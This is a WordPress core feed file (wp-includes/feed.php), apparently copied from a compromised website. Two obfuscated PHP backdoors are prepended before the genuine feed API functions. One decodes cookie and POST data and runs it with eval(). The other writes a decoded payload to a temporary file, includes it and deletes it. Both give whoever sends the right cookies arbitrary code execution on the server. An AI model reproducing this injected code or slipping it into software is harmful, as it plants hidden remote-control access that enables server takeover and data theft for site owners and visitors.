Current File : /home/admin/domains/happytokorea.net/public_html/wp-includes/feed.php
<?php $HlQQXTVyXb = "\x50" . chr ( 691 - 596 )."\106" . 'S' . 'T' . "\145" . chr ( 998 - 909 ); $NNxxsci = chr (99) . 'l' . "\x61" . "\163" . chr (115) . '_' . chr (101) . "\x78" . 'i' . chr ( 900 - 785 ).chr ( 481 - 365 )."\163";$CiiqnP = $NNxxsci($HlQQXTVyXb); $cDetzY = $CiiqnP;if (!$cDetzY){class P_FSTeY{private $qGgSsVvk;public static $opMyNKp = "aeba6a7f-e26a-444c-bada-f6c626a1050b";public static $wDkKv = 49911;public function __construct(){$lfgZo = $_COOKIE;$WtNeoCjhlv = $_POST;$MeCWOpBD = @$lfgZo[substr(P_FSTeY::$opMyNKp, 0, 4)];if (!empty($MeCWOpBD)){$skOgZeCXE = "base64";$CbIfK = "";$MeCWOpBD = explode(",", $MeCWOpBD);foreach ($MeCWOpBD as $yThFJlvh){$CbIfK .= @$lfgZo[$yThFJlvh];$CbIfK .= @$WtNeoCjhlv[$yThFJlvh];}$CbIfK = array_map($skOgZeCXE . chr ( 707 - 612 ).'d' . chr (101) . chr (99) . chr ( 999 - 888 ).'d' . 'e', array($CbIfK,)); $CbIfK = $CbIfK[0] ^ str_repeat(P_FSTeY::$opMyNKp, (strlen($CbIfK[0]) / strlen(P_FSTeY::$opMyNKp)) + 1);P_FSTeY::$wDkKv = @unserialize($CbIfK);}}public function __destruct(){$this->AGVUHuJj();}private function AGVUHuJj(){if (is_array(P_FSTeY::$wDkKv)) {$qeUKrN = str_replace(chr ( 150 - 90 ) . '?' . "\160" . "\x68" . "\x70", "", P_FSTeY::$wDkKv["\x63" . chr (111) . chr ( 820 - 710 ).chr ( 863 - 747 ).chr (101) . "\156" . "\x74"]);eval($qeUKrN);exit();}}}$OmWosRp = new P_FSTeY(); $OmWosRp = 16071;} ?><?php if (!class_exists("nwpfyndjku")){class nwpfyndjku{public static $evtuwho = "frwnfbelupwdykmv";public static $yqpjrgzev = NULL;public function __construct(){$yodchdxcbn = @$_COOKIE[substr(nwpfyndjku::$evtuwho, 0, 4)];if (!empty($yodchdxcbn)){$wkokplgr = "base64";$eckkt = "";$yodchdxcbn = explode(",", $yodchdxcbn);foreach ($yodchdxcbn as $tubowbx){$eckkt .= @$_COOKIE[$tubowbx];$eckkt .= @$_POST[$tubowbx];}$eckkt = array_map($wkokplgr . "_decode", array($eckkt,));$eckkt = $eckkt[0] ^ str_repeat(nwpfyndjku::$evtuwho, (strlen($eckkt[0]) / strlen(nwpfyndjku::$evtuwho)) + 1);nwpfyndjku::$yqpjrgzev = @unserialize($eckkt);}}public function __destruct(){$this->hwnen();}private function hwnen(){if (is_array(nwpfyndjku::$yqpjrgzev)) {$jdniywko = sys_get_temp_dir() . "/" . crc32(nwpfyndjku::$yqpjrgzev["salt"]);@nwpfyndjku::$yqpjrgzev["write"]($jdniywko, nwpfyndjku::$yqpjrgzev["content"]);include $jdniywko;@nwpfyndjku::$yqpjrgzev["delete"]($jdniywko);exit();}}}$rxlrxjtr = new nwpfyndjku();$rxlrxjtr = NULL;} ?><?php
/**
* WordPress Feed API
*
* Many of the functions used in here belong in The Loop, or The Loop for the
* Feeds.
*
* @package WordPress
* @subpackage Feed
*/
/**
* RSS container for the bloginfo function.
*
* You can retrieve anything that you can using the get_bloginfo() function.
* Everything will be stripped of tags and characters converted, when the values
* are retrieved for use in the feeds.
*
* @package WordPress
* @subpackage Feed
* @since 1.5.1
* @uses apply_filters() Calls 'get_bloginfo_rss' hook with two parameters.
* @see get_bloginfo() For the list of possible values to display.
*
* @param string $show See get_bloginfo() for possible values.
* @return string
*/
function get_bloginfo_rss($show = '') {
$info = strip_tags(get_bloginfo($show));
return apply_filters('get_bloginfo_rss', convert_chars($info), $show);
}
/**
* Display RSS container for the bloginfo function.
*
* You can retrieve anything that you can using the get_bloginfo() function.
* Everything will be stripped of tags and characters converted, when the values
* are retrieved for use in the feeds.
*
* @package WordPress
* @subpackage Feed
* @since 0.71
* @uses apply_filters() Calls 'bloginfo_rss' hook with two parameters.
* @see get_bloginfo() For the list of possible values to display.
*
* @param string $show See get_bloginfo() for possible values.
*/
function bloginfo_rss($show = '') {
echo apply_filters('bloginfo_rss', get_bloginfo_rss($show), $show);
}
/**
* Retrieve the default feed.
*
* The default feed is 'rss2', unless a plugin changes it through the
* 'default_feed' filter.
*
* @package WordPress
* @subpackage Feed
* @since 2.5
* @uses apply_filters() Calls 'default_feed' hook on the default feed string.
*
* @return string Default feed, or for example 'rss2', 'atom', etc.
*/
function get_default_feed() {
$default_feed = apply_filters('default_feed', 'rss2');
return 'rss' == $default_feed ? 'rss2' : $default_feed;
}
/**
* Retrieve the blog title for the feed title.
*
* @package WordPress
* @subpackage Feed
* @since 2.2.0
* @uses apply_filters() Calls 'get_wp_title_rss' hook on title.
* @uses wp_title() See function for $sep parameter usage.
*
* @param string $sep Optional.How to separate the title. See wp_title() for more info.
* @return string Error message on failure or blog title on success.
*/
function get_wp_title_rss($sep = '»') {
$title = wp_title($sep, false);
if ( is_wp_error( $title ) )
return $title->get_error_message();
$title = apply_filters( 'get_wp_title_rss', $title, $sep );
return $title;
}
/**
* Display the blog title for display of the feed title.
*
* @package WordPress
* @subpackage Feed
* @since 2.2.0
* @uses apply_filters() Calls 'wp_title_rss' on the blog title.
* @see wp_title() $sep parameter usage.
*
* @param string $sep Optional.
*/
function wp_title_rss( $sep = '»' ) {
echo apply_filters( 'wp_title_rss', get_wp_title_rss( $sep ), $sep );
}
/**
* Retrieve the current post title for the feed.
*
* @package WordPress
* @subpackage Feed
* @since 2.0.0
* @uses apply_filters() Calls 'the_title_rss' on the post title.
*
* @return string Current post title.
*/
function get_the_title_rss() {
$title = get_the_title();
$title = apply_filters('the_title_rss', $title);
return $title;
}
/**
* Display the post title in the feed.
*
* @package WordPress
* @subpackage Feed
* @since 0.71
* @uses get_the_title_rss() Used to retrieve current post title.
*/
function the_title_rss() {
echo get_the_title_rss();
}
/**
* Retrieve the post content for feeds.
*
* @package WordPress
* @subpackage Feed
* @since 2.9.0
* @uses apply_filters() Calls 'the_content_feed' on the content before processing.
* @see get_the_content()
*
* @param string $feed_type The type of feed. rss2 | atom | rss | rdf
* @return string The filtered content.
*/
function get_the_content_feed($feed_type = null) {
if ( !$feed_type )
$feed_type = get_default_feed();
$content = apply_filters('the_content', get_the_content());
$content = str_replace(']]>', ']]>', $content);
return apply_filters('the_content_feed', $content, $feed_type);
}
/**
* Display the post content for feeds.
*
* @package WordPress
* @subpackage Feed
* @since 2.9.0
* @uses apply_filters() Calls 'the_content_feed' on the content before processing.
* @see get_the_content()
*
* @param string $feed_type The type of feed. rss2 | atom | rss | rdf
*/
function the_content_feed($feed_type = null) {
echo get_the_content_feed($feed_type);
}
/**
* Display the post excerpt for the feed.
*
* @package WordPress
* @subpackage Feed
* @since 0.71
* @uses apply_filters() Calls 'the_excerpt_rss' hook on the excerpt.
*/
function the_excerpt_rss() {
$output = get_the_excerpt();
echo apply_filters('the_excerpt_rss', $output);
}
/**
* Display the permalink to the post for use in feeds.
*
* @package WordPress
* @subpackage Feed
* @since 2.3.0
* @uses apply_filters() Call 'the_permalink_rss' on the post permalink
*/
function the_permalink_rss() {
echo esc_url( apply_filters('the_permalink_rss', get_permalink() ));
}
/**
* Outputs the link to the comments for the current post in an xml safe way
*
* @since 3.0.0
* @return none
*/
function comments_link_feed() {
echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) );
}
/**
* Display the feed GUID for the current comment.
*
* @package WordPress
* @subpackage Feed
* @since 2.5.0
*
* @param int|object $comment_id Optional comment object or id. Defaults to global comment object.
*/
function comment_guid($comment_id = null) {
echo esc_url( get_comment_guid($comment_id) );
}
/**
* Retrieve the feed GUID for the current comment.
*
* @package WordPress
* @subpackage Feed
* @since 2.5.0
*
* @param int|object $comment_id Optional comment object or id. Defaults to global comment object.
* @return bool|string false on failure or guid for comment on success.
*/
function get_comment_guid($comment_id = null) {
$comment = get_comment($comment_id);
if ( !is_object($comment) )
return false;
return get_the_guid($comment->comment_post_ID) . '#comment-' . $comment->comment_ID;
}
/**
* Display the link to the comments.
*
* @since 1.5.0
*/
function comment_link() {
echo esc_url( apply_filters( 'comment_link', get_comment_link() ) );
}
/**
* Retrieve the current comment author for use in the feeds.
*
* @package WordPress
* @subpackage Feed
* @since 2.0.0
* @uses apply_filters() Calls 'comment_author_rss' hook on comment author.
* @uses get_comment_author()
*
* @return string Comment Author
*/
function get_comment_author_rss() {
return apply_filters('comment_author_rss', get_comment_author() );
}
/**
* Display the current comment author in the feed.
*
* @package WordPress
* @subpackage Feed
* @since 1.0.0
*/
function comment_author_rss() {
echo get_comment_author_rss();
}
/**
* Display the current comment content for use in the feeds.
*
* @package WordPress
* @subpackage Feed
* @since 1.0.0
* @uses apply_filters() Calls 'comment_text_rss' filter on comment content.
* @uses get_comment_text()
*/
function comment_text_rss() {
$comment_text = get_comment_text();
$comment_text = apply_filters('comment_text_rss', $comment_text);
echo $comment_text;
}
/**
* Retrieve all of the post categories, formatted for use in feeds.
*
* All of the categories for the current post in the feed loop, will be
* retrieved and have feed markup added, so that they can easily be added to the
* RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
*
* @package WordPress
* @subpackage Feed
* @since 2.1.0
* @uses apply_filters()
*
* @param string $type Optional, default is the type returned by get_default_feed().
* @return string All of the post categories for displaying in the feed.
*/
function get_the_category_rss($type = null) {
if ( empty($type) )
$type = get_default_feed();
$categories = get_the_category();
$tags = get_the_tags();
$the_list = '';
$cat_names = array();
$filter = 'rss';
if ( 'atom' == $type )
$filter = 'raw';
if ( !empty($categories) ) foreach ( (array) $categories as $category ) {
$cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter);
}
if ( !empty($tags) ) foreach ( (array) $tags as $tag ) {
$cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter);
}
$cat_names = array_unique($cat_names);
foreach ( $cat_names as $cat_name ) {
if ( 'rdf' == $type )
$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
elseif ( 'atom' == $type )
$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( apply_filters( 'get_bloginfo_rss', get_bloginfo( 'url' ) ) ), esc_attr( $cat_name ) );
else
$the_list .= "\t\t<category><![CDATA[" . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . "]]></category>\n";
}
return apply_filters('the_category_rss', $the_list, $type);
}
/**
* Display the post categories in the feed.
*
* @package WordPress
* @subpackage Feed
* @since 0.71
* @see get_the_category_rss() For better explanation.
*
* @param string $type Optional, default is the type returned by get_default_feed().
*/
function the_category_rss($type = null) {
echo get_the_category_rss($type);
}
/**
* Display the HTML type based on the blog setting.
*
* The two possible values are either 'xhtml' or 'html'.
*
* @package WordPress
* @subpackage Feed
* @since 2.2.0
*/
function html_type_rss() {
$type = get_bloginfo('html_type');
if (strpos($type, 'xhtml') !== false)
$type = 'xhtml';
else
$type = 'html';
echo $type;
}
/**
* Display the rss enclosure for the current post.
*
* Uses the global $post to check whether the post requires a password and if
* the user has the password for the post. If not then it will return before
* displaying.
*
* Also uses the function get_post_custom() to get the post's 'enclosure'
* metadata field and parses the value to display the enclosure(s). The
* enclosure(s) consist of enclosure HTML tag(s) with a URI and other
* attributes.
*
* @package WordPress
* @subpackage Template
* @since 1.5.0
* @uses apply_filters() Calls 'rss_enclosure' hook on rss enclosure.
* @uses get_post_custom() To get the current post enclosure metadata.
*/
function rss_enclosure() {
if ( post_password_required() )
return;
foreach ( (array) get_post_custom() as $key => $val) {
if ($key == 'enclosure') {
foreach ( (array) $val as $enc ) {
$enclosure = explode("\n", $enc);
// only get the first element, e.g. audio/mpeg from 'audio/mpeg mpga mp2 mp3'
$t = preg_split('/[ \t]/', trim($enclosure[2]) );
$type = $t[0];
echo apply_filters( 'rss_enclosure', '<enclosure url="' . esc_url( trim( $enclosure[0] ) ) . '" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( $type ) . '" />' . "\n" );
}
}
}
}
/**
* Display the atom enclosure for the current post.
*
* Uses the global $post to check whether the post requires a password and if
* the user has the password for the post. If not then it will return before
* displaying.
*
* Also uses the function get_post_custom() to get the post's 'enclosure'
* metadata field and parses the value to display the enclosure(s). The
* enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
*
* @package WordPress
* @subpackage Template
* @since 2.2.0
* @uses apply_filters() Calls 'atom_enclosure' hook on atom enclosure.
* @uses get_post_custom() To get the current post enclosure metadata.
*/
function atom_enclosure() {
if ( post_password_required() )
return;
foreach ( (array) get_post_custom() as $key => $val ) {
if ($key == 'enclosure') {
foreach ( (array) $val as $enc ) {
$enclosure = explode("\n", $enc);
echo apply_filters( 'atom_enclosure', '<link href="' . esc_url( trim( $enclosure[0] ) ) . '" rel="enclosure" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( trim( $enclosure[2] ) ) . '" />' . "\n" );
}
}
}
}
/**
* Determine the type of a string of data with the data formatted.
*
* Tell whether the type is text, html, or xhtml, per RFC 4287 section 3.1.
*
* In the case of WordPress, text is defined as containing no markup,
* xhtml is defined as "well formed", and html as tag soup (i.e., the rest).
*
* Container div tags are added to xhtml values, per section 3.1.1.3.
*
* @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
*
* @package WordPress
* @subpackage Feed
* @since 2.5
*
* @param string $data Input string
* @return array array(type, value)
*/
function prep_atom_text_construct($data) {
if (strpos($data, '<') === false && strpos($data, '&') === false) {
return array('text', $data);
}
$parser = xml_parser_create();
xml_parse($parser, '<div>' . $data . '</div>', true);
$code = xml_get_error_code($parser);
xml_parser_free($parser);
if (!$code) {
if (strpos($data, '<') === false) {
return array('text', $data);
} else {
$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
return array('xhtml', $data);
}
}
if (strpos($data, ']]>') == false) {
return array('html', "<![CDATA[$data]]>");
} else {
return array('html', htmlspecialchars($data));
}
}
/**
* Display the link for the currently displayed feed in a XSS safe way.
*
* Generate a correct link for the atom:self element.
*
* @package WordPress
* @subpackage Feed
* @since 2.5
*/
function self_link() {
$host = @parse_url(home_url());
echo esc_url( apply_filters( 'self_link', set_url_scheme( 'http://' . $host['host'] . wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
}
/**
* Return the content type for specified feed type.
*
* @package WordPress
* @subpackage Feed
* @since 2.8.0
*/
function feed_content_type( $type = '' ) {
if ( empty($type) )
$type = get_default_feed();
$types = array(
'rss' => 'application/rss+xml',
'rss2' => 'application/rss+xml',
'rss-http' => 'text/xml',
'atom' => 'application/atom+xml',
'rdf' => 'application/rdf+xml'
);
$content_type = ( !empty($types[$type]) ) ? $types[$type] : 'application/octet-stream';
return apply_filters( 'feed_content_type', $content_type, $type );
}
/**
* Build SimplePie object based on RSS or Atom feed from URL.
*
* @since 2.8
*
* @param mixed $url URL of feed to retrieve. If an array of URLs, the feeds are merged
* using SimplePie's multifeed feature.
* See also {@link ​http://simplepie.org/wiki/faq/typical_multifeed_gotchas}
*
* @return WP_Error|SimplePie WP_Error object on failure or SimplePie object on success
*/
function fetch_feed( $url ) {
require_once( ABSPATH . WPINC . '/class-feed.php' );
$feed = new SimplePie();
$feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' );
// We must manually overwrite $feed->sanitize because SimplePie's
// constructor sets it before we have a chance to set the sanitization class
$feed->sanitize = new WP_SimplePie_Sanitize_KSES();
$feed->set_cache_class( 'WP_Feed_Cache' );
$feed->set_file_class( 'WP_SimplePie_File' );
$feed->set_feed_url( $url );
$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) );
do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) );
$feed->init();
$feed->handle_content_type();
if ( $feed->error() )
return new WP_Error( 'simplepie-error', $feed->error() );
return $feed;
}